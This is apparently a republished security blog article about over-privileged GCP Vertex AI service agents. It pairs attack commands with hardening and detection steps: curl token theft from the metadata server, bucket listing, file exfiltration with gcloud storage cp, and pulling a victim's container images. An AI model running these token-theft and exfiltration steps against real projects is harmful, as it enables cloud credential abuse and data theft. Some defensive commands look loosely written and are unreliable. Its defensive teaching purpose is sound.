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Introduction:
AI agents are rapidly becoming integral to cloud platforms like Google’s Vertex AI, but their default over‑privileged permissions create a dangerous new attack surface. Recent research by Palo Alto Networks’ Unit 42 demonstrates how a malicious actor can weaponize these agents to take over Google Service Agents, escalate privileges to read sensitive storage buckets, access internal Artifact Registry repositories, and even expose proprietary GCP code.
Learning Objectives:
- Understand how over‑privileged AI agents in GCP Vertex AI can be turned into attack vectors.
- Learn step‑by‑step exploitation techniques, including service agent takeover and privilege escalation.
- Implement hardening measures, IAM least privilege, and monitoring to defend against AI agent‑based attacks.
You Should Know:
- Understanding GCP Vertex AI Agent Engine and Its Attack Surface
The Vertex AI Agent Engine uses Google‑managed service agents—special service accounts that act on behalf of AI workloads. By default, these agents are granted overly broad roles (e.g., `roles/editor` orroles/storage.objectAdmin), creating a “double agent” scenario where a compromised AI model can be used to pivot across the project.
Step‑by‑step guide to enumerate existing service agents and their permissions:
– List all service accounts in a GCP project:
gcloud iam service-accounts list --project=YOUR_PROJECT_ID
– View IAM policy for a specific service account:
gcloud projects get-iam-policy YOUR_PROJECT_ID \ --flatten="bindings" \ --filter="bindings.members:serviceAccount:AGENT_EMAIL" \ --format="table(bindings.role)"
– Check service agent roles used by Vertex AI:
gcloud projects get-iam-policy YOUR_PROJECT_ID \ --format="value(bindings.role)" | grep -i "vertex|aiplatform"
This reveals if the agent has excessive permissions like `storage.buckets.get` or artifactregistry.repositories.download.
- Taking Over a Google Service Agent: The Attack Chain
An attacker who gains initial foothold (e.g., via a vulnerable AI model endpoint or exposed API key) can impersonate the service agent if its authentication token is leaked or if the agent allows workload identity federation without constraints.
Step‑by‑step guide to simulate takeover and mitigation:
- Obtain a service agent token (attack scenario – from a compromised pod or local metadata endpoint):
Inside a GCE instance or GKE pod with the service agent attached curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
- Use the token to impersonate the agent and list accessible resources:
export TOKEN=$(curl -s -H "Metadata-Flavor: Google" ... | jq -r '.access_token') curl -H "Authorization: Bearer $TOKEN" \ "https://storage.googleapis.com/storage/v1/b?project=YOUR_PROJECT_ID"
- Mitigation: Bind the service agent to a dedicated, least‑privilege custom role. Never attach `roles/editor` or `roles/owner` to an AI agent.
- Privilege Escalation to Read Origin Project Storage Buckets
Once the service agent is under the attacker’s control, the next step is reading storage buckets that contain training data, logs, or credentials. The research showed how a Vertex AI service agent could read buckets from the origin project—bypassing intended isolation.
Step‑by‑step guide to test and block this escalation:
- List all buckets accessible by the compromised agent:
gcloud auth activate-service-account --key-file=agent-key.json gcloud storage buckets list --project=ANY_PROJECT_ID
- Read bucket contents (exfiltration):
gcloud storage cp gs://target-bucket/sensitive.csv .
- Harden bucket access: Apply IAM conditions to restrict bucket access by IP, time, or resource prefix. Example using
gcloud:gcloud storage buckets add-iam-policy-binding gs://my-bucket \ --member=serviceAccount:[email protected] \ --role=roles/storage.objectViewer \ --condition="expression=request.time < timestamp('2025-12-31T23:59:59Z'),title=TempAccess"
- Enforce uniform bucket‑level access and disable public ACLs.
4. Accessing Internal Artifact Registry Repositories & Images
Artifact Registry holds container images, often containing proprietary code or embedded secrets. The over‑privileged service agent can list and pull images, giving the attacker source code and deployment credentials.
Step‑by‑step guide to exploit and protect Artifact Registry:
- List repositories (attack):
gcloud artifacts repositories list --project=VICTIM_PROJECT --location=us-central1
- Pull a container image using the agent’s token:
docker login -u _json_key --password-stdin https://us-central1-docker.pkg.dev < agent-key.json docker pull us-central1-docker.pkg.dev/victim-project/my-repo/my-image:latest
- Mitigation: Use VPC Service Controls to create a perimeter around Artifact Registry and Vertex AI. Additionally, enforce Binary Authorization to only allow signed images.
- Hardening command to remove unnecessary `artifactregistry.reader` role from service agent:
gcloud projects remove-iam-policy-binding VICTIM_PROJECT \ --member=serviceAccount:[email protected] \ --role=roles/artifactregistry.reader
- Exposure of GCP Proprietary Code: Detection and Response
The ultimate impact of this attack chain is exposure of GCP‑internal proprietary code and customer intellectual property. Detection requires monitoring Cloud Audit Logs for anomalous agent behavior.
Step‑by‑step guide to set up detection:
- Enable Data Access Audit Logs for Vertex AI, Storage, and Artifact Registry:
gcloud logging sinks create vertex-audit-sink \ storage.googleapis.com/your-log-bucket \ --log-filter='resource.type="aiplatform.googleapis.com/Agent" AND protoPayload.methodName="google.cloud.aiplatform.v1.AgentService.CreateAgent"'
- Query for suspicious privilege escalations using
gcloud logging read:gcloud logging read 'protoPayload.authenticationInfo.principalEmail: "[email protected]" AND (protoPayload.methodName: "SetIamPolicy" OR protoPayload.methodName: "storage.buckets.get")' --freshness=7d
- Set up Event Threat Detection (part of Security Command Center) to alert on service agent misuses.
- Hardening AI Agent Security: Best Practices and Configurations
Proactively securing Vertex AI agents requires shifting from default roles to custom, least‑privilege roles and using Workload Identity Federation with restrictions.
Step‑by‑step guide to create a hardened Vertex AI service agent:
– Create a custom role with only required permissions (e.g., read from one specific bucket, no Artifact Registry access):
gcloud iam roles create vertex_agent_restricted --project=YOUR_PROJECT \ --title="Vertex AI Agent Restricted" \ --permissions="storage.objects.get,storage.objects.list,aiplatform.endpoints.predict" \ --stage=GA
– Assign this custom role to the Vertex AI service account:
gcloud projects add-iam-policy-binding YOUR_PROJECT \ --member=serviceAccount:[email protected] \ --role=projects/YOUR_PROJECT/roles/vertex_agent_restricted
– Use Workload Identity Federation to limit which Kubernetes service accounts can impersonate the agent.
– Enforce VPC‑SC to prevent data exfiltration to external projects.
7. API Security for AI Agent Endpoints
AI agents often expose APIs for inference. If these APIs are poorly secured, attackers can bypass authentication and directly invoke the agent’s functions, escalating privileges.
Step‑by‑step guide to secure agent APIs:
- Require API keys with restrictive usage limits:
gcloud services api-keys create --display-name="vertex-agent-key" \ --api-target=service=aiplatform.googleapis.com --allowed-referrers="https://your-allowed-domain.com"
- Add Cloud Armor security policies to block malicious IPs and SQLi/LFI attempts:
gcloud compute security-policies create vertex-agent-policy gcloud compute security-policies rules add 1000 --action=deny-403 \ --src-ip-ranges="0.0.0.0/0" --expression="request.method == 'POST' && !origin.region_code in ['US','EU']"
- Implement rate limiting at the API Gateway (Apigee or Cloud Endpoints) to prevent brute‑force token abuse.
What Undercode Say:
- Key Takeaway 1: AI agents are not just models—they are powerful identities in your cloud environment. Default over‑privileging turns them into a backdoor for lateral movement and data theft.
- Key Takeaway 2: Mitigation is achievable through least‑privilege IAM, continuous audit logging, and VPC Service Controls. The research from Unit 42 proves that responsible disclosure and vendor collaboration can fix these blind spots before mass exploitation.
The GCP Vertex AI case is a wake‑up call: AI components must be subjected to the same rigorous identity and access management as any other cloud resource. Attackers will inevitably target these new “soft” identities. Security teams need to treat AI agents as potential double agents—designing for compromise from day one. This means implementing zero‑trust for machine identities, automating detection of anomalous API calls, and regularly pentesting AI pipelines.
Prediction:
Within 12–18 months, we will see the first major breach attributed to an over‑privileged AI agent pivot—likely involving exposed container registries or LLM training data. Cloud providers will respond by introducing “AI agent‑specific” IAM roles with built‑in boundaries (e.g., no cross‑project access by default). Additionally, regulatory frameworks like the EU AI Act will incorporate mandatory least‑privilege requirements for AI service accounts. Organizations that fail to harden their AI agents today will become the case studies of tomorrow.
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Reported By: Ofir Shaty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
